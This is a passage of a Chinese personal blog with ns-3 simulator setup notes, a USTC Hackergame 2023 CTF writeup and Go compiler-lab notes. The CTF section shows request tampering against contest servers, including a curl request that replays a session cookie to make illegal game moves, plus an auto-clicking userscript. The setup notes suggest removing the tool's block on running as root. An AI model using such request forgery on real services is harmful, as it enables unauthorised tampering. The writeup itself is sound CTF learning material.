但是，如果模拟永远不会结束，或是希望自定义一个结束时间，则需要在 Run() 之前调用 Stop()，如以下代码将模拟时间限制在10s：

cpp

1
2
3

Simulator::Stop(Seconds(10.0));
Simulator::Run();
Simulator::Destroy();

编译

教程中提到的 ./ns3 build 大概率是错的，个人猜测是之前 ./waf 直接查找替换后的产物⁶。现在不必将文件移至 scratch/ 中，如本例子可以直接执行：

bash

`1`	`./ns3 run examples/tutorial/first.cc`

ns-3 入门 1：介绍与安装

Fri, 26 Jan 2024 22:57:00 +0800

根据官方教程 Getting Started 一章写成。

介绍

ns-3是一个离散网络事件模拟器。不难理解这个描述：比如改变拥塞窗口大小，发出数据包，都是离散事件。将这些离散事件按发生时间顺序模拟，就能得到这个系统在一段时间内的运行过程。因为计算机网络（也有其他一些类似系统）的运行过程是离散的，而不像往水池里倒水那样连续的，所以这种模拟方法是合理的。

ns-3本质上是一组库，可以在C++（或Python，但之后忽略）程序中导入，也就是自己写代码把ns-3提供的工具串成一个完整的模拟程序。通过手动导入头文件和链接库，当然也可以直接利用ns-3编译出需要的程序，但ns-3也提供了 ns3 命令行工具，以构建并运行模拟源代码。

下载

ns-3的分发形式是源代码，无论发行版是否有打包，都推荐使用源代码安装。以下仅以Linux为例，Windows用户自觉去装WSL2。

如果你使用Ubuntu，则可以参考官方文档的对应部分¹先按需安装好依赖；如果你和我一样使用的是Arch Linux，那么有一个 PROTECTED_0 AUR 包。但个人不建议你直接装它，因为上文提到的 ns3 命令行工具会留在源代码目录里，无法直接引用。所以可以利用AUR装依赖。Arch Linux的cppyy（用于写Python仿真程序）已更新至3.x，ns-3还没跟上支持，如有需要请注意。

然后从官网下载最新源码包，解压，进入里面的 ns-3.xx 目录。下文均基于3.40版本，此处暂时不提另外两种使用Bake和Git的方法。

编译

官方在文档里给了三种编译方式：

使用 build.py：比较简单，但不太自由
使用CMake：能自定义编译的模块，以及一些额外的选项
使用Bake：好处就是可以包揽从下载到安装

个人需要在之后将ns-3安装至系统目录，而其限定只能用第二种方法，所以下面只写第二种。

ns3 命令行工具也可以作为CMake的一个wrapper。在 ns-allinone-3.xx/ns-3.xx 目录中，运行以下命令：

bash

1
2
3

./ns3 clean
./ns3 configure --enable-tests --enable-examples --prefix=/usr/local
./ns3 build

其中 configure 的前两个参数是一起编译测试和示例，--prefix 指定之后的安装路径。完整的参数列表可以使用 ./ns3 configure --help 查看。

还需要注意configure完成后显示的build profile。如果在之后使用时需要使用GDB调试，则需确保其为 debug （加入 -d debug参数并重新编译），如不需调试，则可以使用默认的 optimized。

只要不是缺少非必需的依赖，编译都会正常进行。CMake也会输出各个模块是否会被编译，以及不被编译的原因（如果有；如缺少依赖，或用户指定不编译）。官方文档中有示例的编译输出，可以结合来看。

编译完成后，可以运行测试：

bash

`1`	`./test.py`

到这里编译过程就结束了。由于 ns3 命令行工具的存在，写程序时不需要太关注库和头文件的位置，同时为了防止多个ns-3版本共存冲突，开发者声称大部分人并不需要安装了：

Most users do not install ns-3 libraries to typical system library directories; they instead just leave the libraries in the build directory, and the ns3 Python program will find these libraries.

安装

虽然 ns3 命令行工具能够帮助构建系统找到头文件和链接库，但麻烦的是IDE并不这么认为（clangd自定义就比较麻烦），所以我决定将其安装到系统目录中。前面提到我添加了 --prefix=/usr/local，在这一步ns-3的头文件和链接库就会被分别安装到 /usr/local/include/ns3 和 /usr/local/lib。

根据文档，安装也需使用 ns3 命令行。但是 ns3 命令行工具会故意阻止以root权限执行，确有需要的可以编辑其约1400行处，删掉对 refuse_run_as_root() 的调用²。但也有副作用，比如之后每次构建运行仿真程序都要输入密码。在此希望读者也能够对自己的目的和行为有明确的认知。

然后，执行 ./ns3 install 即可将ns-3的头文件和链接库安装至prefix指定的位置。

如果只是为了IDE识别，当然也有另外一种方法，仅把头文件复制到系统目录中。头文件就在 build/include/ns3 目录中。

安装完成后，下一篇将顺着官方教程的脉络，认识一个仿真程序的示例。

USTC Hackergame 2023 个人 Writeup

Sat, 04 Nov 2023 12:00:00 +0800

HG虐我千百遍，我待HG如初恋。

*小菜鸡一个，写不了几道题，单纯记录一下。所有题目版权归USTCLUG所有。

Hackergame启动

初见题目，还以为是把相似度POST到服务器上，正准备curl一把梭，直到我点了一下提交。

好家伙，地址栏出现了一个param，原来是个GET，直接把 similarity 改为114514，结束战斗。

感觉发现规律了，签到题经常出现改改地址栏就能解决的题目……

猫咪小测

今年的猫咪问答变简单了，感觉难度是逐年递减的亚子。再也没有20/21两年的压迫感了。

想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》，应当前往中国科学技术大学西区图书馆的哪一层？

Google到中科大图书馆网站，搜索馆藏，很容易找到在西区外文书库。回到网站首页找到馆藏分布，得外文书库在第 12 层。

今年arXiv网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文，请问论文中作者计算出的鸡密度函数的上限为10的多少次方每立方秒差距？

在arxiv.org的advanced search上选择天体物理（astro-ph），搜索“density of chicken”，只有一个候选结果。

我也不知道什么叫每立方秒差距，但abstract有一句：

We find the most restrictive upper limit from the domains considered to be $10^{23}\ pc^{−3}$, which ruffles the feathers of long-standing astrophysics theory.

看来这abstract还真是简明扼要，答案就是 23。

为了支持TCP BBR拥塞控制算法，在编译Linux内核时应该配置好哪一条内核选项？

Google “linux tcp bbr option”，得到答案为 CONFIG_TCP_CONG_BBR。

这个题目问GPT也能得到很好的效果。

🥒🥒🥒：「我……从没觉得写类型标注有意思过」。在一篇论文中，作者给出了能够让Python的类型检查器MyPY mypy陷入死循环的代码，并证明Python的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上？

不知道有没有人注意到“发表在今年的哪个学术会议上”这个很别扭的讲法，但题目从来没说是今年写的论文。在Google Scholar搜索“python type”，筛选今年的文章，然后……逐篇枚举。于是找到了答案Python Type Hints Are Turing Complete，发表在 ECOOP 2023上。

题目的迷惑性还是很大的，一方面Google Scholars并不能搜到ECOOP上的内容（而是标注为drops.dagstuhl.de），另一方面仅靠标题和abstract并不能很容易对应题目的意思，甚至这篇文章也不是今年写的（2022年就挂在了arXiv上）。

更深更暗

简单划了一下，看样子是个无限往下滑的网页，网页的长度会越来越长。直接打开开发者模式，搜索flag，解决。

是我眼花了吗？我刚刚有一瞬间好像在残骸上看到了一个flag？

~~或许也可以找一台足够低配的电脑，一直往下滑，生成跟不上滑动会卡，就能看到潜水艇字符画了~~

旅行照片3.0

看样子旅行照片会比去年难一点儿，但不至于像21年一样没什么头绪。难点反而加在了日语上面。拜托组委会下次能不能找个英语系国家的地点……

1、你还记得与学长见面这天是哪一天吗？（格式：yyyy-mm-dd）

2、在学校该展厅展示的所有同种金色奖牌的得主中，出生最晚者获奖时所在的研究所缩写是什么？

直接找到“学长”脖子上挂的牌子，STATPHYS 28，得到地址为东京大学附近，23年8月7-11日左右。打开Google Maps，在东京大学附近找喷泉和博物馆，很容易找到上野公園和東京国立博物館（实际上附近博物馆很多）。

上野公園

打开街景一看，完全一样有没有。这条信息先放下。

搜索奖牌上的名字M. Kosiba（小柴昌俊），得到他确实在东京大学任职过。MMII指2002年，他在2002年获得了帕诺夫斯基实验粒子物理学奖，以及诺贝尔物理学奖，查了一下，奖牌是诺奖的样式。

Google搜索 “tokyo university nobel prize”（~~typo应该为university of tokyo~~），找到了东京大学理学部的 Science Gallery，确实是个展厅。在这个展厅中展出了三个诺贝尔物理学奖奖牌，分别为：

小柴昌俊，2002，出生于1926/09/19
梶田隆章，2015，出生于1959/03/09
真锅淑郎，2021，出生于1931/09/21

经过一点对最小的梶田隆章的搜索：

He became director of the Center for Cosmic Neutrinos at the Institute for Cosmic Ray Research (ICRR) in 1999. As of 2017, he is a Principal Investigator at the Institute for the Physics and Mathematics of the Universe in Tokyo, and Director of ICRR.

得到他在2015年位于 ICRR。回到题目，第一个问题直接在日期范围内进行暴力枚举，得到 2023-08-10。

3、帐篷中活动招募志愿者时用于收集报名信息的在线问卷的编号（以字母S开头后接数字）是多少？

4、学长购买自己的博物馆门票时，花费了多少日元？

Google筛选含有“上野公園大噴水”、2023年8月1-10日的网站，用日期反推这一日发生的活动，得到在举行“全国梅酒まつりin東京2023”，而且似乎确实在帐篷里，15时开始也符合信息。搜索“全国梅酒まつりin東京2023ボランティア”（2023年东京全国梅酒节志愿者），很容易找到招募志愿者的网站（ボランティアSTAFF大募集！！第６回「全国梅酒まつりin東京2023」），得到问卷编号 S495584522。

根据“马路对面的喷泉”这一信息，确定了博物馆指的是东京国立博物馆（Tokyo National Museum）。答案是 0，不知道为什么。

5、学长当天晚上需要在哪栋标志性建筑物的附近集合呢？（请用简体中文回答，四个汉字）

6、进站时，你在JR上野站中央检票口外看到「ボタン＆カフリンクス」活动正在销售动物周边商品，该活动张贴的粉色背景海报上是什么动物（记作A，两个汉字）？在出站处附近建筑的屋顶广告牌上，每小时都会顽皮出现的那只3D动物是什么品种？（记作B，三个汉字）？（格式：A-B）

在STATPHYS 28网站上并没有找到10日晚上有什么活动，但on-site plenary and special session都在Yasuda Auditorium（安田讲堂）。蒙对了。

搜索“ボタン＆カフリンクスJR上野”，点进第一个结果，是熊猫（如下图）。

摊位的照片（图源上面的网站）

马里奥世界指的显然是Nintendo Tokyo，谷歌地图指示在渋谷駅（涩谷站）下车，按照“渋谷駅3D看板”搜索，很容易得到秋田犬。

赛博井字棋

众所周知，只要两边水平够高都不是那么菜，那么井字棋就只能下平局。但是，如果能“吃掉”别人的棋子呢……？

通过分析网络请求很容易看出，每次点击棋盘上没下的位置，都会发送一个形如 {"x":"0","y":"0"} 的JSON到服务器上，而服务器会返回一个描述棋盘的二维数组，还会有一个Set-Cookie。看起来每个棋盘状态都会有一个对应的Cookie。比如：

bash

$ curl -v -XPOST -H 'Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz-wA.fN5F9EKrWxW87_WtN-noABlu2_U; HttpOnly; Path=/' -H "Content-type: application/json" -d '{"x":"1","y":"1"}' 'http://202.38.93.111:10077/'
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 202.38.93.111:10077...
* Connected to 202.38.93.111 (202.38.93.111) port 10077
> POST / HTTP/1.1
> Host: 202.38.93.111:10077
> User-Agent: curl/8.4.0
> Accept: */*
> Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz-wA.fN5F9EKrWxW87_WtN-noABlu2_U; HttpOnly; Path=/
> Content-type: application/json
> Content-Length: 17
>
< HTTP/1.1 200 OK
< Server: nginx/1.23.2
< Date: Sat, 28 Oct 2023 12:33:57 GMT
< Content-Type: application/json
< Content-Length: 38
< Connection: keep-alive
< Vary: Cookie
< Set-Cookie: session=eyJib2FyZCI6W1sxLDAsMF0sWzAsLTEsMF0sWzAsMCwtMV1dLCJ0b2tlbiI6Im1hc2tlZCJ9.ZTz_tQ.cxnMFfNUi4gSU6CECDbO8E4evjw; HttpOnly; Path=/
<
{"board":[[1,0,0],[0,-1,0],[0,0,-1]]}

既然点击浏览器中已经有棋子的位置没有反应，那么就可以使用curl模拟请求，像上面这样。只需要在浏览器中随便点击一个棋子，然后复制Set-Cookie值，再把请求体设为刚刚电脑选择的位置，就可以吃掉电脑的棋子了。终于有三个棋子连起来的时候，服务器的response里面就会带flag。

PS：状态信息似乎并不存在于服务器中，而是直接编码于cookie中。在session的值中，英文句号之前的位置就是base64编码的棋盘状态和做题者的token（上面的token我都处理啦，不要解码了）。

组委会模拟器

这道题的核心在于如何快速找到对应的元素并模拟点击。靠人手点肯定不行的，但丰富的 ~~刷网课~~ 冲浪经验告诉我，可以使用用户脚本来自动扫描符合正则的元素。把它加载到对应的插件上（比如Violentmonkey），就可以自动运行了。

我一行代码都没写，全靠GPT。对于写简单的代码，GPT已经完全可用了。附上完整对话

javascript

// ==UserScript==
// @name        Hackergame Auto Withdraw
// @namespace   Violentmonkey Scripts
// @match       http://202.38.93.111:10021/
// @grant       none
// @version     1.0
// @author      cyp0633 (with GPT-3)
// @description 2023/10/30 16:06:16
// ==/UserScript==


(function() {
    'use strict';

    // Regular expression to match "hack[...]" with any text inside "[...]"
    const regex = /hack\[[^\]]+\]/;

    // Function to detect and click on elements matching the regular expression
    function autoClickHackContent() {
        const elements = document.querySelectorAll('*'); // Select all elements on the page (you can narrow this down if needed)

        for (const element of elements) {
            if (regex.test(element.textContent)) {
                element.click();
            }
        }
    }

    // Run the detection function every 1 second
    setInterval(autoClickHackContent, 1000);
})();

这段代码每秒钟遍历一次网页上的元素，遇到匹配flag正则的内容就点击它。在MBP13 2020上，使用Firefox，速度完全可以跟上撤回消息。

HNU 软件编译原理实验 4（Go 实现）

Sat, 06 May 2023 00:00:00 +0000

编译器、解释器、虚拟机，或许只在杨氏编译原理里面是同义词。

代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，仅对个人认为值得讲述的地方进行说明，可以对比阅读。

cyp0633/compiler-lab

TINY语言编译器的部分到了中间代码生成部分就结束了，生成的是下面这样的TM虚拟机机器码，剩下的部分一直到运行，都由虚拟机来完成。

text

  0:     LD  6,0(0) 
  1:     ST  0,0(0) 
  2:     IN  0,0,0 
  3:     ST  0,0(5) 
  4:    LDC  0,0(0) 
  5:     ST  0,0(6)

在实验三中完成了词法分析器，实验四包括了语义分析和中间代码生成，至于指导书没提的语法分析，当然只能自己加上了。

TINY编译器的C代码中，大致流程为：词法分析（scan.c）-> 语法分析（parse.c）-> 语义分析（analyze.c）-> 中间代码生成（code.c、cgen.c）。另外还有符号表管理（symtab.c）。本文的之后部分中，将其改写 + 优化为Go代码进行解释。

该编译器不含有独立的错误处理模块，错误处理在各模块中解决。

语法分析

该编译器的语法分析输出是一个语法树，树节点用以下的结构描述。

type treeNode struct {
    child   [3]*treeNode // 子节点
    sibling *treeNode    // 兄弟节点
    lineNo  int          // 行号
    op      tokenType    // 操作符
    val     int          // 值
    attr    string       // 属性
    stmt    stmtKind     // 语句类型
    expr    exprKind     // 表达式类型
    typ     exprType     // 表达式数值类型
    node    nodeKind     // 节点类型
}

命名很乱是吧，我也是这么想的。

节点类型 nodeKind 分为表达式节点和语句节点，前者对应一个表达式（如1+1），后者对应一整个或一行语句（如 write i）
语句类型 stmtKind 分为赋值、循环、条件分支、读、写几种
表达式类型 exprKind 是当前表达式节点的类型，分为运算符、常量、标识符变量
表达式值类型 exprType 分为整型表达式、布尔表达式和没有值的表达式（真的存在吗）

由于Go孱弱的类型系统，既没有泛型多态有没有类似Rust的Trait（巧了，C也没有），所以每个节点存储完整的信息，不会因表达式或是语句节点而使用不同的结构体。

对于一个 treeNode，同一个节点的某个child的sibling和其他child并不是并列的关系。对于某个语句节点，sibling指向的是下一个语句，例如：

text

1
2

fact := fact * x; 
x := x - 1;

第二句作为一个赋值语句节点，就是第一句的sibling。而child可以视为语句中的 “槽位”，如：

text

1
2
3

if 0 < x then
    fact := 1;
end

上面的 if-then-end 语句有两个槽，分别存放 0 < x 表达式节点和 fact := 1 语句节点，也就是这个条件分支语句节点的两个child。因为槽最多的就是 if-then-else-end，有三个，所以child最大也仅需要三个。

Parse 函数用来启动语法分析，返回语法树根节点。它调用 stmtSequence() 函数，期望其返回时分析完整个源代码，如果最后识别到的token不为eof，则文件中含有错误。

func Parse() (t *treeNode) {
    currToken= GetToken()
    t = stmtSequence()
    if currToken != eofToken {
        syntaxError("Code ends before file\n")
    }
    return
}

stmtSequence 函数用来识别位于同一作用域（如同一if-clause，也就是Python中同一缩进等级）的一串语句，当找到eof、end、else 和 until 这几个代表结束的词语时结束。

t为nil这一个分支我也没看懂为什么在这里。

func stmtSequence() *treeNode {
    t := statement()
    p := t
    for currToken != eofToken && currToken != endToken && currToken != elseToken && currToken != untilToken {
        match(semicolonToken)
        q := statement()
        if q != nil {
            if t == nil {
                p = q
                t = p
            } else {
                p.sibling = q
                p = q
            }
        }
    }
    return t
}

statement 函数好理解，一次识别单个语句，根据识别出的token类型进入不同的识别函数。代码略。

各种不同语句的识别函数分为if、repeat、赋值语句、read和write，此处只以 ifStatement 为例，其他看看代码应该就明白了。if节点的三个域分别存放expression（条件检验表达式）、then-statement（符合执行的语句串）和else-statement（不符合执行的语句串）。

// if 语句的匹配
//
// if <expression> then <stmtSequence> [else <stmtSequence>] end
func ifStatement() *treeNode {
    t := newStatementNode(ifStmt)
    match(ifToken)
    t.child[0] = expression()
    match(thenToken)
    t.child[1] = stmtSequence()
    if currToken == elseToken {
        match(elseToken)
        t.child[2] = stmtSequence()
    }
    match(endToken)
    return t
}

语句的匹配在上面就结束了，而表达式的匹配需要考虑优先级问题。在这个编译器程序中，分为三个优先级：< 和 = 优先级最低，+ 和 - 优先级次之，* 和 / 更高，数字、标识符和括号则设为同一最高优先级。在形式化语言表示中，使用不同的符号（Expression、Term、Factor）区分不同的计算优先级。产生式有：

$Expression \to simpleExpression\ |\ simpleExpression \lt simpleExpression\ |\ simpleExpression \lt \simpleExpression$

$simpleExpression \to Term\ |\ Term+Term\ |\ Term-Term$

$Term \to Factor\ |\ Factor \times Factor\ |\ Factor / Factor$

仅贴出Expression的代码，其他类似。

// 表达式的匹配：处理 < 和 = 运算符
// 优先级最低
func expression() *treeNode {
    t := simpleExpression()
    if currToken == ltToken || currToken == eqToken {
        p := newExpressionNode(opExpr)
        p.child[0] = t
        p.op = currToken
        t = p
        match(currToken)
        t.child[1] = simpleExpression()
    }
    return t
}

数字和标识符的处理（factor）如下：

// 表达式的匹配：处理数字、标识符和括号
func factor() (t *treeNode) {
    switch currToken {
    case numToken:
        t = newExpressionNode(constExpr)
        if currToken == numToken {
            var err error
            t.val, err = strconv.Atoi(tokenString)
            if err != nil {
                syntaxError("unexpected token -> %s"+ currToken.String())
            }
            match(numToken)
        }
    case idToken:
        t = newExpressionNode(idExpr)
        if currToken == idToken {
            t.attr = tokenString
        }
        match(idToken)
    case lparenToken:
        match(lparenToken)
        t = expression()
        match(rparenToken)
    default:
        syntaxError("unexpected token -> %s"+ currToken.String())
        currToken = GetToken()
    }
    return
}

符号表

原来的C版本编译器说白了也就是个自定义哈希函数的哈希表，是一个数组实现，封装了查找和插入，所以既然Go本身就有无序的字典 map，当然就用上了。

符号表项的键为符号名，值为内存地址（从0起）和出现的行数列表 的引用。

var symtab map[string]*struct {
    refLines []int // 引用行号列表
    memLoc   int   // 内存位置
} = make(map[string]*struct {
    refLines []int
    memLoc   int
})

在原来的符号表实现中，新符号的地址是由词法分析器决定的（而且是简单的递增），此处由符号表模块自行管理。

查找很简单，判断是否存在罢了。

// 查找符号表
// 返回内存位置和是否找到
func lookupSymtab(name string) (location int, ok bool) {
    if item, ok := symtab[name]; ok {
        return item.memLoc, true
    }
    return 0, false
}

插入分两种情况，如果已经存在，则仅更新行数列表；否则，还要分配一个空间。要改变map中某个元素的值，需要将其取出、修改值，然后重新设立对应关系，所以在上面的定义中使用了引用，得以在不修改引用地址的情况下增加引用行列表。

func insertSymtab(name string, lineNo int) {
    if item, ok := symtab[name]; ok {
        item.refLines = append(item.refLines, lineNo)
    } else {
        symtab[name] = &struct {
            refLines []int
            memLoc   int
        }{[]int{lineNo}, memLoc}
        memLoc++
    }
}

语义分析

语义分析主要干两件事，类型检查和插入符号表。

定义了一个统一的DFS函数，通过传入不同的函数，执行前序和后序遍历的操作。类型检查需要后序遍历，插入符号表则需要前序遍历（看起来TINY是 lexical scoping）。

func traverse(t *treeNode, preProc func(*treeNode), postProc func(*treeNode)) {
    if t == nil {
        return
    }
    if preProc != nil {
        preProc(t)
    }
    for i := 0; i < 3; i++ {
        traverse(t.child[i], preProc, postProc)
    }
    if postProc != nil {
        postProc(t)
    }
    traverse(t.sibling, preProc, postProc)
}

构建符号表需要对每个出现变量的地方都进行一次插入操作。因为在之前的符号表操作中已经做到了根据已经插入与否区分不同的行为，所以此处可以省去判断是否已经存在。

// 将某个语法树节点的信息插入符号表
func insertNode(t *treeNode) {
    switch t.node {
    case stmtNode: // 对于语句，只有赋值和读语句需要插入符号表
        if t.stmt == assignStmt || t.stmt == readStmt {
            insertSymtab(t.attr, t.lineNo)
        }
    case exprNode: // 对于表达式，其中的标识符都要记在符号表中
        if t.expr == idExpr {
            insertSymtab(t.attr, t.lineNo)
        }
    }
}

// 遍历，构建符号表
func BuildSymtab(t *treeNode) {
    traverse(t, insertNode, nil)
}

类型检查的思想就是，赋值语句和写语句后面要匹配integer类型，if和repeat则要匹配bool类型。

// 对 t 做类型检查，反正就 bool 和 integer 两种类型
func checkNode(t *treeNode) {
    switch t.node {
    case exprNode:
        switch t.expr {
        case opExpr: // 运算符表达式，两个 child 类型均为 integer
            if t.child[0].typ != intExpr || t.child[1].typ != intExpr {
                typeError(t,"Op applied to non-integer")
            }
            if t.op == eqToken || t.op == ltToken { // 返回的是比较结果
                t.typ = boolExpr
            } else { // 返回的是计算结果
                t.typ = intExpr
            }
        default: // const 或 id，直接返回类型
            t.typ = intExpr
        }
    case stmtNode:
        switch t.stmt {
        case ifStmt: // if 语句，条件表达式类型为 bool
            if t.child[0].typ != boolExpr {
                typeError(t.child[0], "If test is not Boolean")
            }
        case assignStmt: // 赋值语句，表达式类型为 integer
            if t.child[0].typ != intExpr {
                typeError(t.child[0], "Assignment of non-integer value")
            }
        case writeStmt: // 写语句，表达式类型为 integer
            if t.child[0].typ != intExpr {
                typeError(t.child[0], "Write of non-integer value")
            }
        case repeatStmt: // repeat 语句，条件表达式类型为 bool
            if t.child[1].typ != boolExpr {
                typeError(t.child[1], "Repeat test is not Boolean")
            }
        }
    }
}

// 对整个语法树做类型检查
// 在进行完毕类型推导后，再做节点类型检查
func TypeCheck(t *treeNode) {
    traverse(t, nil, checkNode)
}

代码生成

生成代码已经是这个编译器做的最后一步了，没有优化，没有中间代码。TM虚拟机读取的还不完全是三地址码，更别提LLVM IR那样高阶的东西了，而是有点类似于真实计算机的寄存器 + 内存的组合。寄存器有累加AC1和AC2、程序计数器PC，以及GP和MP寄存器。

在 codegen.go 中，使用 CodeGen() 初始化程序运行环境，调用 cGen 对AST根节点生成代码，然后挂起虚拟机。在 cGen 中，根据当前节点的类型调用 genStmt 或 genExp 生成语句或表达式，然后再对其兄弟节点调用 cGen，生成下一条语句对应的代码。

语句

对于 repeat <statement> until <expression>，先执行statement，再判断expression，判断结果会存放在AC1寄存器中。当AC1为0时代表条件成立，执行条件跳转指令，到statement之前，再次执行。

    case repeatStmt:
        emitComment("-> repeat")
        p1 := t.child[0]
        p2 := t.child[1]
        // 保存循环前的位置
        savedLoc1 := emitSkip(0)
        emitComment("repeat: jump after body comes back here")
        // 执行语句
        cGen(p1)
        // 判断条件
        cGen(p2)
        // 如果符合，跳转到 savedLoc1，即循环前
        emitAbsRM("JEQ", ACCUMULATOR1, savedLoc1)
        emitComment("<- repeat")

对于 if 语句，依次填入的指令为：

判断 expr
若不符合，跳转到 stmt2
执行 stmt1
跳转到 stmt2 结束
执行 stmt2

    case ifStmt:
        // if <expr> then <stmt1> else <stmt2> end
        // 或 if <expr> then <stmt1> end
        emitComment("-> if")
        p1 := t.child[0]
        p2 := t.child[1]
        p3 := t.child[2]
        // 生成条件表达式的代码
        cGen(p1)
        // 空一个跳转 stmt1 末尾的位置
        savedLoc1 := emitSkip(1)
        emitComment("if: jump to else belongs here")
        // 生成 stmt1 的代码
        cGen(p2)
        // 空一个指令，供跳转到 stmt2 结束
        savedLoc2 := emitSkip(1)
        emitComment("if: jump to end belongs here")
        // 获得 stmt2 的开始位置
        currLoc := emitSkip(0)
        // 回到 expr 判断结束处，写入条件跳转语句
        emitBackup(savedLoc1)
        emitAbsRM("JEQ", ACCUMULATOR1, currLoc)
        emitComment("if: jmp to else")
        // 回到 stmt2 开始处
        emitRestore()
        // 生成 stmt2 语句的代码
        cGen(p3)
        // 获得 stmt2 结束后的位置
        currLoc = emitSkip(0)
        // 回到 stmt1 结束处，无条件跳转到 stmt2 结束处
        emitBackup(savedLoc2)
        emitAbsRM("LDA", PROGRAM_COUNTER, currLoc)
        emitComment("if: jmp to end")
        // 回到 stmt2 结束处
        emitRestore()
        emitComment("<- if")

对于 assign 语句，就是计算表达式的值，查符号表得到内存地址，然后将值存进去：

    case assignStmt:
        // <id> := <expr>
        emitComment("-> assign")
        // 计算表达式的值，存入 ACCUMULATOR1
        cGen(t.child[0])
        // 找到 id 的内存偏移
        loc, _ := lookupSymtab(t.attr)
        // 将表达式的值存入 id 的内存偏移
        emitRM("ST", ACCUMULATOR1, loc, GLOBAL_POINTER)
        emitComment("<- assign")

read 和 write 语句也会使用AC1作为中转，不同的是 write 计算表达式的值时会隐式地存入AC1，表现倒是相同的：

    case readStmt:
        // read <id>
        emitComment("-> read")
        // 读取输入，存入 ACCUMULATOR1
        emitRO("IN", ACCUMULATOR1, 0, 0)
        loc, _ := lookupSymtab(t.attr)
        // 将输入的值存入 id 的内存偏移
        emitRM("ST", ACCUMULATOR1, loc, GLOBAL_POINTER)
        emitComment("<- read")
    case writeStmt:
        emitComment("-> write")
        // 计算表达式的值，存入 ACCUMULATOR1
        cGen(t.child[0])
        // 将 ACCUMULATOR1 的值输出
        emitRO("OUT", ACCUMULATOR1, 0, 0)
        emitComment("<- write")

表达式

此处每个表达式的结果最后都会存放在AC1寄存器中，这是一个约定用法。

常量表达式最简单，直接使用加载常量的指令，把值存入AC1：

    case constExpr:
        emitComment("-> Const")
        // 将常量存入 ACCUMULATOR1
        emitRM("LDC", ACCUMULATOR1, t.val, 0)
        emitComment("load const")
        emitComment("<- Const")

加载一个变量也只需根据指针将其从内存中读出：

    case idExpr:
        emitComment("-> Id")
        // 找到 id 的内存偏移
        loc, _ := lookupSymtab(t.attr)
        // 将该地址对应的值存入 ACCUMULATOR1
        emitRM("LD", ACCUMULATOR1, loc, GLOBAL_POINTER)
        emitComment("load id value")
        emitComment("<- Id")

在计算一个带运算符（算术运算和比较）的表达式的值时，需要先求出左右子表达式的值。tmpOffset 的设置是为了让嵌套执行此处代码时，每一个 genExpr 的 tmpOffset 值都是不同的，从而在多层 opExpr 下能够将左子表达式的临时值存放在不同的位置；否则每次执行都会向同一个位置（即MP）读写内容，从而覆盖外层求出的结果。

    case opExpr:
        emitComment("-> Op")
        // 求左子表达式的值，存入 ACCUMULATOR1
        cGen(t.child[0])
        // 将 ACCUMULATOR1 的值存入内存偏移 tmpOffset
        emitRM("ST", ACCUMULATOR1, tmpOffset, MEMORY_POINTER)
        // 将 tmpOffset 加 1，即指向下一个内存偏移（当然后面存的不能重合了）
        tmpOffset--
        emitComment("op: push left")
        // 求右子表达式的值，存入 ACCUMULATOR1
        cGen(t.child[1])
        tmpOffset++
        // 将左子表达式的值存入 ACCUMULATOR2
        emitRM("LD", ACCUMULATOR2, tmpOffset, MEMORY_POINTER)
        emitComment("op: load left")

算术表达式的求解很简单，惟需注意上面执行完毕后左边对应AC2，右边对应AC1：

        switch t.op {
        case plusToken:
            // AC1 = AC2 + AC1
            emitRO("ADD", ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1)
            emitComment("op +")
        case minusToken:
            // AC1 = AC2 - AC1
            emitRO("SUB", ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1)
            emitComment("op -")
        case timesToken:
            // AC1 = AC2 * AC1
            emitRO("MUL", ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1)
            emitComment("op *")
        case overToken:
            // AC1 = AC2 / AC1
            emitRO("DIV", ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1)
            emitComment("op /")

小于运算符的情况，如果AC1<AC2，则AC1=0；否则AC1=1。

        case ltToken:
            // AC1 = AC2 - AC1
            emitRO("SUB", ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1)
            emitComment("op <")
            // 若 AC1<AC2（新 AC1<0），则往后跳两个指令
            emitRM("JLT", ACCUMULATOR1, 2, PROGRAM_COUNTER)
            emitComment("br if true")
            // 若 AC1>=AC2，则 AC1=0
            emitRM("LDC", ACCUMULATOR1, 0, ACCUMULATOR1)
            emitComment("false case")
            // 无条件跳一条指令
            emitRM("LDA", PROGRAM_COUNTER, 1, PROGRAM_COUNTER)
            emitComment("unconditional jmp")
            // 若 AC1<AC2，则 AC1=1
            emitRM("LDC", ACCUMULATOR1, 1, ACCUMULATOR1)
            emitComment("true case")

等于的情况类似，仅当AC1=AC2时AC1=0：

        case eqToken:
            emitRO("SUB", ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1)
            emitComment("op ==")
            emitRM("JEQ", ACCUMULATOR1, 2, PROGRAM_COUNTER)
            emitComment("br if true")
            emitRM("LDC", ACCUMULATOR1, 0, ACCUMULATOR1)
            emitComment("false case")
            emitRM("LDA", PROGRAM_COUNTER, 1, PROGRAM_COUNTER)
            emitComment("unconditional jmp")
            emitRM("LDC", ACCUMULATOR1, 1, ACCUMULATOR1)
            emitComment("true case")

HNU 软件编译原理实验 3（Go 实现）

Tue, 25 Apr 2023 00:00:00 +0000

虽然课程从头到尾没提到过TINY语言，但实验三全都围绕着TINY构造。

代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，仅对个人认为值得讲述的地方进行说明，可以对比阅读。

cyp0633/compiler-lab

TINY语言

TINY语言是《编译原理及实践》（Compiler Construction: Principles and Practice，之后简称CCPP）中用于演示的语言，杨某人课程中心实验包中也有其中译本PDF文档（虽然翻得不咋样）。

在该书的1.7.1节中，提到了TINY语言的特性：

没有过程，没有函数声明
所有变量都是整型，通过一个赋值定义
只有 if 语句和 repeat 控制语句
if 语句可选 else 分支，必须用 end 表示结束
有输入输出语句
表达式只有算术（加、减、乘、整除）和布尔表达式（仅有 < 和 =）
